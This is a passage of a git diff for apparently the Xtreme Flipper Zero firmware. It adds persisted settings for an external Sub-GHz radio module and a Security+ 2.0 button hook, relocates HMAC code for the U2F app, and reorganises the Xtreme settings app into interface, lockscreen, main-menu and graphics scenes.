temp_external_module_power_5v_disable = false; //int32_t temp_preset = 0; bool frequency_analyzer_feedback_level_was_read = false; bool frequency_analyzer_trigger_was_read = false; @@ -62,6 +66,16 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER, (float*)&temp_frequency_analyzer_trigger, 1); + flipper_format_read_bool( + fff_data_file, + SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_ENABLED, + (bool*)&temp_external_module_enabled, + 1); + flipper_format_read_bool( + fff_data_file, + SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_POWER, + (bool*)&temp_external_module_power_5v_disable, + 1); } else { FURI_LOG_E(TAG, "Error open file %s", SUBGHZ_LAST_SETTINGS_PATH); @@ -74,6 +88,7 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count instance->frequency_analyzer_feedback_level = SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL; instance->frequency_analyzer_trigger = SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_TRIGGER; + instance->external_module_enabled = false; } else { instance->frequency = temp_frequency; @@ -89,6 +104,21 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count /*if(temp_preset > (int32_t)preset_count - 1 || temp_preset < 0) { FURI_LOG_W(TAG, "Last used preset no found");*/ instance->preset = SUBGHZ_LAST_SETTING_DEFAULT_PRESET; + + instance->external_module_enabled = temp_external_module_enabled; + + instance->external_module_power_5v_disable = temp_external_module_power_5v_disable; + + if(instance->external_module_power_5v_disable) { + furi_hal_subghz_set_external_power_disable(true); + furi_hal_subghz_disable_ext_power(); + } + + // Set selected radio module + if(instance->external_module_enabled) { + furi_hal_subghz_set_radio_type(SubGhzRadioExternal); + } + /*/} else { instance->preset = temp_preset; }*/ @@ -145,6 +175,20 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) { 1)) { break; } + if(!flipper_format_insert_or_update_bool( + file, + SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_ENABLED, + &instance->external_module_enabled, + 1)) { + break; + } + if(!flipper_format_insert_or_update_bool( + file, + SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_POWER, + &instance->external_module_power_5v_disable, + 1)) { + break; + } saved = true; } while(0); diff --git a/applications/main/subghz/subghz_last_settings.h b/applications/main/subghz/subghz_last_settings.h index f08d99c81..5e3630468 100644 --- a/applications/main/subghz/subghz_last_settings.h +++ b/applications/main/subghz/subghz_last_settings.h @@ -10,6 +10,8 @@ typedef struct { int32_t preset; uint32_t frequency_analyzer_feedback_level; float frequency_analyzer_trigger; + bool external_module_enabled; + bool external_module_power_5v_disable; } SubGhzLastSettings; SubGhzLastSettings* subghz_last_settings_alloc(void); diff --git a/applications/main/subghz/views/transmitter.c b/applications/main/subghz/views/transmitter.c index e6ed16d81..7de0e6495 100644 --- a/applications/main/subghz/views/transmitter.c +++ b/applications/main/subghz/views/transmitter.c @@ -8,6 +8,7 @@ #include #include #include +#include struct SubGhzViewTransmitter { View* view; @@ -163,6 +164,7 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) { alutech_set_btn(1); nice_flors_set_btn(1); somfy_telis_set_btn(1); + secplus2_set_btn(1); with_view_model( subghz_transmitter->view, SubGhzViewTransmitterModel * model, @@ -199,6 +201,7 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) { alutech_set_btn(2); nice_flors_set_btn(2); somfy_telis_set_btn(2); + secplus2_set_btn(2); with_view_model( subghz_transmitter->view, SubGhzViewTransmitterModel * model, @@ -235,6 +238,7 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) { alutech_set_btn(3); nice_flors_set_btn(3); somfy_telis_set_btn(3); + secplus2_set_btn(3); with_view_model( subghz_transmitter->view, SubGhzViewTransmitterModel * model, diff --git a/lib/toolbox/hmac_sha256.c b/applications/main/u2f/hmac_sha256.c similarity index 100% rename from lib/toolbox/hmac_sha256.c rename to applications/main/u2f/hmac_sha256.c diff --git a/lib/toolbox/hmac_sha256.h b/applications/main/u2f/hmac_sha256.h similarity index 100% rename from lib/toolbox/hmac_sha256.h rename to applications/main/u2f/hmac_sha256.h diff --git a/applications/main/u2f/u2f.c b/applications/main/u2f/u2f.c index 767733ce6..0ed5ebb29 100644 --- a/applications/main/u2f/u2f.c +++ b/applications/main/u2f/u2f.c @@ -7,7 +7,7 @@ #include // for lfs_tobe32 #include "toolbox/sha256.h" -#include "toolbox/hmac_sha256.h" +#include "hmac_sha256.h" #include "micro-ecc/uECC.h" #define TAG "U2F" diff --git a/applications/main/xtreme_app/application.fam b/applications/main/xtreme_app/application.fam index 266350521..38623386e 100644 --- a/applications/main/xtreme_app/application.fam +++ b/applications/main/xtreme_app/application.fam @@ -1,7 +1,7 @@ App( appid="xtreme_app", - name="Xtreme Settings", - apptype=FlipperAppType.EXTERNAL, + name="Xtreme", + apptype=FlipperAppType.EXTMAINAPP, entry_point="xtreme_app", cdefines=["APP_XTREME"], requires=[ @@ -10,7 +10,9 @@ App( "xtreme", ], stack_size=2 * 1024, - # icon="A_Xtreme_14", + icon="A_Xtreme_14", order=90, + fap_libs=["assets"], fap_category=".Main", + fap_icon="xtreme_app_10px.png", ) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h b/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h index a7370f9b4..dfe115522 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h @@ -1,11 +1,15 @@ ADD_SCENE(xtreme_app, start, Start) -ADD_SCENE(xtreme_app, graphics, Graphics) -ADD_SCENE(xtreme_app, statusbar, Statusbar) +ADD_SCENE(xtreme_app, interface, Interface) +ADD_SCENE(xtreme_app, interface_graphics, InterfaceGraphics) +ADD_SCENE(xtreme_app, interface_mainmenu, InterfaceMainmenu) +ADD_SCENE(xtreme_app, interface_mainmenu_add, InterfaceMainmenuAdd) +ADD_SCENE(xtreme_app, interface_lockscreen, InterfaceLockscreen) +ADD_SCENE(xtreme_app, interface_statusbar, InterfaceStatusbar) +ADD_SCENE(xtreme_app, interface_common, InterfaceCommon) ADD_SCENE(xtreme_app, protocols, Protocols) ADD_SCENE(xtreme_app, protocols_frequencies, ProtocolsFrequencies) ADD_SCENE(xtreme_app, protocols_frequencies_static, ProtocolsFrequenciesStatic) ADD_SCENE(xtreme_app, protocols_frequencies_hopper, ProtocolsFrequenciesHopper) ADD_SCENE(xtreme_app, protocols_frequencies_add, ProtocolsFrequenciesAdd) -ADD_SCENE(xtreme_app, dolphin, Dolphin) ADD_SCENE(xtreme_app, misc, Misc) ADD_SCENE(xtreme_app, misc_rename, MiscRename) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_dolphin.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_dolphin.c deleted file mode 100644 index a157b269a..000000000 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_dolphin.c +++ /dev/null @@ -1,92 +0,0 @@ -#include "../xtreme_app.h" - -enum VarItemListIndex { - VarItemListIndexXpLevel, - VarItemListIndexButthurtTimer, -}; - -void xtreme_app_scene_dolphin_var_item_list_callback(void* context, uint32_t index) { - XtremeApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -static void xtreme_app_scene_dolphin_xp_level_changed(VariableItem* item) { - XtremeApp* app = variable_item_get_context(item); - app->dolphin_level = variable_item_get_current_value_index(item) + 1; - char level_str[4]; - snprintf(level_str, 4, "%i", app->dolphin_level); - variable_item_set_current_value_text(item, level_str); - app->save_level = true; -} - -const char* const butthurt_timer_names[] = - {"OFF", "30 M", "1 H", "2 H", "4 H", "6 H", "8 H", "12 H", "24 H", "48 H"}; -const int32_t butthurt_timer_values[COUNT_OF(butthurt_timer_names)] = - {-1, 1800, 3600, 7200, 14400, 21600, 28800, 43200, 86400, 172800}; -static void xtreme_app_scene_dolphin_butthurt_timer_changed(VariableItem* item) { - XtremeApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, butthurt_timer_names[index]); - XTREME_SETTINGS()->butthurt_timer = butthurt_timer_values[index]; - app->save_settings = true; - app->require_reboot = true; -} - -void xtreme_app_scene_dolphin_on_enter(void* context) { - XtremeApp* app = context; - XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - VariableItemList* var_item_list = app->var_item_list; - VariableItem* item; - uint8_t value_index; - - char level_str[4]; - snprintf(level_str, 4, "%i", app->dolphin_level); - item = variable_item_list_add( - var_item_list, - "XP Level", - DOLPHIN_LEVEL_COUNT + 1, - xtreme_app_scene_dolphin_xp_level_changed, - app); - variable_item_set_current_value_index(item, app->dolphin_level - 1); - variable_item_set_current_value_text(item, level_str); - - item = variable_item_list_add( - var_item_list, - "Butthurt Timer", - COUNT_OF(butthurt_timer_names), - xtreme_app_scene_dolphin_butthurt_timer_changed, - app); - value_index = value_index_int32( - xtreme_settings->butthurt_timer, butthurt_timer_values, COUNT_OF(butthurt_timer_names)); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, butthurt_timer_names[value_index]); - - variable_item_list_set_enter_callback( - var_item_list, xtreme_app_scene_dolphin_var_item_list_callback, app); - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneDolphin)); - - view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); -} - -bool xtreme_app_scene_dolphin_on_event(void* context, SceneManagerEvent event) { - XtremeApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneDolphin, event.event); - consumed = true; - switch(event.event) { - default: - break; - } - } - - return consumed; -} - -void xtreme_app_scene_dolphin_on_exit(void* context) { - XtremeApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c new file mode 100644 index 000000000..a033e4746 --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface.c @@ -0,0 +1,69 @@ +#include "../xtreme_app.h" + +enum VarItemListIndex { + VarItemListIndexGraphics, + VarItemListIndexMainmenu, + VarItemListIndexLockscreen, + VarItemListIndexStatusbar, + VarItemListIndexCommon, +}; + +void xtreme_app_scene_interface_var_item_list_callback(void* context, uint32_t index) { + XtremeApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +void xtreme_app_scene_interface_on_enter(void* context) { + XtremeApp* app = context; + VariableItemList* var_item_list = app->var_item_list; + + variable_item_list_add(var_item_list, "Graphics", 0, NULL, app); + variable_item_list_add(var_item_list, "Mainmenu", 0, NULL, app); + variable_item_list_add(var_item_list, "Lockscreen", 0, NULL, app); + variable_item_list_add(var_item_list, "Statusbar", 0, NULL, app); + variable_item_list_add(var_item_list, "Common", 0, NULL, app); + + variable_item_list_set_enter_callback( + var_item_list, xtreme_app_scene_interface_var_item_list_callback, app); + + variable_item_list_set_selected_item( + var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterface)); + + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); +} + +bool xtreme_app_scene_interface_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterface, event.event); + consumed = true; + switch(event.event) { + case VarItemListIndexGraphics: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceGraphics); + break; + case VarItemListIndexMainmenu: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceMainmenu); + break; + case VarItemListIndexLockscreen: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceLockscreen); + break; + case VarItemListIndexStatusbar: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceStatusbar); + break; + case VarItemListIndexCommon: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceCommon); + break; + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_interface_on_exit(void* context) { + XtremeApp* app = context; + variable_item_list_reset(app->var_item_list); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c new file mode 100644 index 000000000..259d8a260 --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c @@ -0,0 +1,100 @@ +#include "../xtreme_app.h" + +enum VarItemListIndex { + VarItemListIndexSortDirsFirst, + VarItemListIndexDarkMode, + VarItemListIndexLeftHanded, +}; + +void xtreme_app_scene_interface_common_var_item_list_callback(void* context, uint32_t index) { + XtremeApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +static void xtreme_app_scene_interface_common_sort_dirs_first_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->sort_dirs_first = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_common_dark_mode_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->dark_mode = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_common_left_handed_changed(VariableItem* item) { + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + if(value) { + furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + } else { + furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + } +} + +void xtreme_app_scene_interface_common_on_enter(void* context) { + XtremeApp* app = context; + XtremeSettings* xtreme_settings = XTREME_SETTINGS(); + VariableItemList* var_item_list = app->var_item_list; + VariableItem* item; + + item = variable_item_list_add( + var_item_list, + "Sort Dirs First", + 2, + xtreme_app_scene_interface_common_sort_dirs_first_changed, + app); + variable_item_set_current_value_index(item, xtreme_settings->sort_dirs_first); + variable_item_set_current_value_text(item, xtreme_settings->sort_dirs_first ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, "Dark Mode", 2, xtreme_app_scene_interface_common_dark_mode_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->dark_mode); + variable_item_set_current_value_text(item, xtreme_settings->dark_mode ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, + "Left Handed", + 2, + xtreme_app_scene_interface_common_left_handed_changed, + app); + bool value = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient); + variable_item_set_current_value_index(item, value); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + + variable_item_list_set_enter_callback( + var_item_list, xtreme_app_scene_interface_common_var_item_list_callback, app); + + variable_item_list_set_selected_item( + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceCommon)); + + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); +} + +bool xtreme_app_scene_interface_common_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceCommon, event.event); + consumed = true; + switch(event.event) { + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_interface_common_on_exit(void* context) { + XtremeApp* app = context; + variable_item_list_reset(app->var_item_list); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c similarity index 60% rename from applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c rename to applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c index 99a302a44..2cfb1f7cc 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c @@ -7,21 +7,21 @@ enum VarItemListIndex { VarItemListIndexUnlockAnims, }; -void xtreme_app_scene_graphics_var_item_list_callback(void* context, uint32_t index) { +void xtreme_app_scene_interface_graphics_var_item_list_callback(void* context, uint32_t index) { XtremeApp* app = context; view_dispatcher_send_custom_event(app->view_dispatcher, index); } -static void xtreme_app_scene_graphics_asset_pack_changed(VariableItem* item) { +static void xtreme_app_scene_interface_graphics_asset_pack_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text( - item, index == 0 ? "SFW" : *asset_packs_get(app->asset_packs, index - 1)); + item, index == 0 ? "SFW" : *CharList_get(app->asset_pack_names, index - 1)); strlcpy( XTREME_SETTINGS()->asset_pack, - index == 0 ? "" : *asset_packs_get(app->asset_packs, index - 1), + index == 0 ? "" : *CharList_get(app->asset_pack_names, index - 1), MAX_PACK_NAME_LEN); - app->asset_pack = index; + app->asset_pack_index = index; app->save_settings = true; app->require_reboot = true; } @@ -30,7 +30,7 @@ const char* const anim_speed_names[] = {"25%", "50%", "75%", "100%", "125%", "150%", "175%", "200%", "225%", "250%", "275%", "300%"}; const int32_t anim_speed_values[COUNT_OF(anim_speed_names)] = {25, 50, 75, 100, 125, 150, 175, 200, 225, 250, 275, 300}; -static void xtreme_app_scene_graphics_anim_speed_changed(VariableItem* item) { +static void xtreme_app_scene_interface_graphics_anim_speed_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, anim_speed_names[index]); @@ -54,7 +54,7 @@ const char* const cycle_anims_names[] = { "24 H"}; const int32_t cycle_anims_values[COUNT_OF(cycle_anims_names)] = {-1, 0, 30, 60, 300, 600, 900, 1800, 3600, 7200, 21600, 43200, 86400}; -static void xtreme_app_scene_graphics_cycle_anims_changed(VariableItem* item) { +static void xtreme_app_scene_interface_graphics_cycle_anims_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, cycle_anims_names[index]); @@ -62,7 +62,7 @@ static void xtreme_app_scene_graphics_cycle_anims_changed(VariableItem* item) { app->save_settings = true; } -static void xtreme_app_scene_graphics_unlock_anims_changed(VariableItem* item) { +static void xtreme_app_scene_interface_graphics_unlock_anims_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -70,7 +70,15 @@ static void xtreme_app_scene_graphics_unlock_anims_changed(VariableItem* item) { app->save_settings = true; } -void xtreme_app_scene_graphics_on_enter(void* context) { +static void xtreme_app_scene_interface_graphics_fallback_anim_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->fallback_anim = value; + app->save_settings = true; +} + +void xtreme_app_scene_interface_graphics_on_enter(void* context) { XtremeApp* app = context; XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; @@ -80,19 +88,21 @@ void xtreme_app_scene_graphics_on_enter(void* context) { item = variable_item_list_add( var_item_list, "Asset Pack", - asset_packs_size(app->asset_packs) + 1, - xtreme_app_scene_graphics_asset_pack_changed, + CharList_size(app->asset_pack_names) + 1, + xtreme_app_scene_interface_graphics_asset_pack_changed, app); - variable_item_set_current_value_index(item, app->asset_pack); + variable_item_set_current_value_index(item, app->asset_pack_index); variable_item_set_current_value_text( item, - app->asset_pack == 0 ? "SFW" : *asset_packs_get(app->asset_packs, app->asset_pack - 1)); + app->asset_pack_index == 0 ? + "SFW" : + *CharList_get(app->asset_pack_names, app->asset_pack_index - 1)); item = variable_item_list_add( var_item_list, "Anim Speed", COUNT_OF(anim_speed_names), - xtreme_app_scene_graphics_anim_speed_changed, + xtreme_app_scene_interface_graphics_anim_speed_changed, app); value_index = value_index_int32( xtreme_settings->anim_speed, anim_speed_values, COUNT_OF(anim_speed_names)); @@ -103,7 +113,7 @@ void xtreme_app_scene_graphics_on_enter(void* context) { var_item_list, "Cycle Anims", COUNT_OF(cycle_anims_names), - xtreme_app_scene_graphics_cycle_anims_changed, + xtreme_app_scene_interface_graphics_cycle_anims_changed, app); value_index = value_index_int32( xtreme_settings->cycle_anims, cycle_anims_values, COUNT_OF(cycle_anims_names)); @@ -111,25 +121,40 @@ void xtreme_app_scene_graphics_on_enter(void* context) { variable_item_set_current_value_text(item, cycle_anims_names[value_index]); item = variable_item_list_add( - var_item_list, "Unlock Anims", 2, xtreme_app_scene_graphics_unlock_anims_changed, app); + var_item_list, + "Unlock Anims", + 2, + xtreme_app_scene_interface_graphics_unlock_anims_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->unlock_anims); variable_item_set_current_value_text(item, xtreme_settings->unlock_anims ? "ON" : "OFF"); + item = variable_item_list_add( + var_item_list, + "Fallback Anim", + 2, + xtreme_app_scene_interface_graphics_fallback_anim_changed, + app); + variable_item_set_current_value_index(item, xtreme_settings->fallback_anim); + variable_item_set_current_value_text(item, xtreme_settings->fallback_anim ? "ON" : "OFF"); + variable_item_list_set_enter_callback( - var_item_list, xtreme_app_scene_graphics_var_item_list_callback, app); + var_item_list, xtreme_app_scene_interface_graphics_var_item_list_callback, app); variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneGraphics)); + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceGraphics)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } -bool xtreme_app_scene_graphics_on_event(void* context, SceneManagerEvent event) { +bool xtreme_app_scene_interface_graphics_on_event(void* context, SceneManagerEvent event) { XtremeApp* app = context; bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneGraphics, event.event); + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceGraphics, event.event); consumed = true; switch(event.event) { default: @@ -140,7 +165,7 @@ bool xtreme_app_scene_graphics_on_event(void* context, SceneManagerEvent event) return consumed; } -void xtreme_app_scene_graphics_on_exit(void* context) { +void xtreme_app_scene_interface_graphics_on_exit(void* context) { XtremeApp* app = context; variable_item_list_reset(app->var_item_list); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c new file mode 100644 index 000000000..5544ee941 --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c @@ -0,0 +1,118 @@ +#include "../xtreme_app.h" + +enum VarItemListIndex { + VarItemListIndexShowClock, + VarItemListIndexShowDate, +}; + +void xtreme_app_scene_interface_lockscreen_var_item_list_callback(void* context, uint32_t index) { + XtremeApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +static void xtreme_app_scene_interface_lockscreen_show_time_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->lockscreen_time = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_lockscreen_show_date_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->lockscreen_date = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_lockscreen_show_statusbar_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->lockscreen_statusbar = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_lockscreen_unlock_prompt_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->lockscreen_prompt = value; + app->save_settings = true; +} + +void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { + XtremeApp* app = context; + XtremeSettings* xtreme_settings = XTREME_SETTINGS(); + VariableItemList* var_item_list = app->var_item_list; + VariableItem* item; + + item = variable_item_list_add( + var_item_list, + "Show Time", + 2, + xtreme_app_scene_interface_lockscreen_show_time_changed, + app); + variable_item_set_current_value_index(item, xtreme_settings->lockscreen_time); + variable_item_set_current_value_text(item, xtreme_settings->lockscreen_time ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, + "Show Date", + 2, + xtreme_app_scene_interface_lockscreen_show_date_changed, + app); + variable_item_set_current_value_index(item, xtreme_settings->lockscreen_date); + variable_item_set_current_value_text(item, xtreme_settings->lockscreen_date ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, + "Show Statusbar", + 2, + xtreme_app_scene_interface_lockscreen_show_statusbar_changed, + app); + variable_item_set_current_value_index(item, xtreme_settings->lockscreen_statusbar); + variable_item_set_current_value_text( + item, xtreme_settings->lockscreen_statusbar ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, + "Unlock Prompt", + 2, + xtreme_app_scene_interface_lockscreen_unlock_prompt_changed, + app); + variable_item_set_current_value_index(item, xtreme_settings->lockscreen_prompt); + variable_item_set_current_value_text(item, xtreme_settings->lockscreen_prompt ? "ON" : "OFF"); + + variable_item_list_set_enter_callback( + var_item_list, xtreme_app_scene_interface_lockscreen_var_item_list_callback, app); + + variable_item_list_set_selected_item( + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceLockscreen)); + + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); +} + +bool xtreme_app_scene_interface_lockscreen_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceLockscreen, event.event); + consumed = true; + switch(event.event) { + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_interface_lockscreen_on_exit(void* context) { + XtremeApp* app = context; + variable_item_list_reset(app->var_item_list); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c new file mode 100644 index 000000000..8d4a6185e --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c @@ -0,0 +1,106 @@ +#include "../xtreme_app.h" + +enum VarItemListIndex { + VarItemListIndexWiiMenu, + VarItemListIndexApp, + VarItemListIndexRemoveApp, + VarItemListIndexAddApp, +}; + +void xtreme_app_scene_interface_mainmenu_var_item_list_callback(void* context, uint32_t index) { + XtremeApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +static void xtreme_app_scene_interface_mainmenu_wii_menu_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "Wii Grid" : "App List"); + XTREME_SETTINGS()->wii_menu = value; + app->save_settings = true; +} + +static void xtreme_app_scene_interface_mainmenu_app_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + app->mainmenu_app_index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text( + item, *CharList_get(app->mainmenu_app_names, app->mainmenu_app_index)); +} + +void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { + XtremeApp* app = context; + XtremeSettings* xtreme_settings = XTREME_SETTINGS(); + VariableItemList* var_item_list = app->var_item_list; + VariableItem* item; + + item = variable_item_list_add( + var_item_list, "Menu Style", 2, xtreme_app_scene_interface_mainmenu_wii_menu_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->wii_menu); + variable_item_set_current_value_text( + item, xtreme_settings->wii_menu ? "Wii Grid" : "App List"); + + item = variable_item_list_add( + var_item_list, + "App", + CharList_size(app->mainmenu_app_names), + xtreme_app_scene_interface_mainmenu_app_changed, + app); + app->mainmenu_app_index = 0; + variable_item_set_current_value_index(item, app->mainmenu_app_index); + if(CharList_size(app->mainmenu_app_names)) { + variable_item_set_current_value_text( + item, *CharList_get(app->mainmenu_app_names, app->mainmenu_app_index)); + } else { + variable_item_set_current_value_text(item, "None"); + } + + variable_item_list_add(var_item_list, "Remove App", 0, NULL, app); + + variable_item_list_add(var_item_list, "Add App", 0, NULL, app); + + variable_item_list_set_enter_callback( + var_item_list, xtreme_app_scene_interface_mainmenu_var_item_list_callback, app); + + variable_item_list_set_selected_item( + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceMainmenu)); + + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); +} + +bool xtreme_app_scene_interface_mainmenu_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceMainmenu, event.event); + consumed = true; + switch(event.event) { + case VarItemListIndexRemoveApp: + if(!CharList_size(app->mainmenu_app_names)) break; + if(!CharList_size(app->mainmenu_app_paths)) break; + CharList_remove_v( + app->mainmenu_app_names, app->mainmenu_app_index, app->mainmenu_app_index + 1); + CharList_remove_v( + app->mainmenu_app_paths, app->mainmenu_app_index, app->mainmenu_app_index + 1); + app->save_mainmenu_apps = true; 